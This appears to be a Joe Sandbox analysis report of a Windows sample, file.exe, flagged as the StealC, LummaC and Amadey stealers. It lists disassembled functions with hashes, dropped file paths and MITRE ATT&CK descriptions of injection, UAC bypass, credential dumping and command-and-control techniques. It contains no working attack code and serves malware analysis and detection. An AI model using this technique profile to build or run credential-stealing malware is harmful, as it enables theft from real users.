Opcode Fuzzy Hash: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction Fuzzy Hash: 7741CFB16042068FEB14CF78CC8076AB3F2BB45309F154939D516DBB80E7B6E906CB92

Function 6C526E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C526EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C526EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C526F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C526F5C

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction ID: 6f0616922bf985cbdaef5760aa0a2ec8f1e2adce547093519c776bc23b650702
Opcode Fuzzy Hash: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction Fuzzy Hash: 2C31F671A1060A8FDB14CF2CCD806AE73E9EB84304F50853DD41AD7AA5EF35EA59C791

Function 6C53B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C4E0A4D), ref: 6C53B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C4E0A4D), ref: 6C53B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C4E0A4D), ref: 6C53B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C4E0A4D), ref: 6C53B67F

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction ID: 5c98e569e2e331a3438c36cea54544853a20fa7e46cb472cad7acd8b390049fc
Opcode Fuzzy Hash: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction Fuzzy Hash: 4431E371A016268FDB10DF58CC4465ABBB5EF84314F5A8A29C80A9B712FB31E915CBA0

Function 6C50F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F668

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7f375c52c7bad776a1a447baf0edb01f9523413923cff892bafb91127bb4ef9b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 8D311E71B00614AFC724CF59DCC0A9E77B6EBC4358B148A39EA498BB05D771F9448B98

Function 6C5226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226C1
free.MOZGLUE(?), ref: 6C5226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226FF
free.MOZGLUE ref: 6C52270D

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction ID: ae8a7cc03fc913955dccf943857efba5ade15b964008dcf5c2329b9a17e67816
Opcode Fuzzy Hash: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction Fuzzy Hash: C1F0F4B77012005BE7009B18DC88E4BB3E9EF45368B550035EA1AC3B02E736F919C6A6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAAAECGHCBGCBFHIIDHIJKFBKF

C:\ProgramData\BFHDHJKKJDHJJJJKEGHI

C:\ProgramData\ECBKKKFH

C:\ProgramData\EHDGIJJD

C:\ProgramData\HJEBGHIEBFIJKECBKFHD

C:\ProgramData\IECFIEGDBKJKFIDHIECGDGIEBA

C:\ProgramData\KJDGDGDHDGDBFIDHDBAF

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre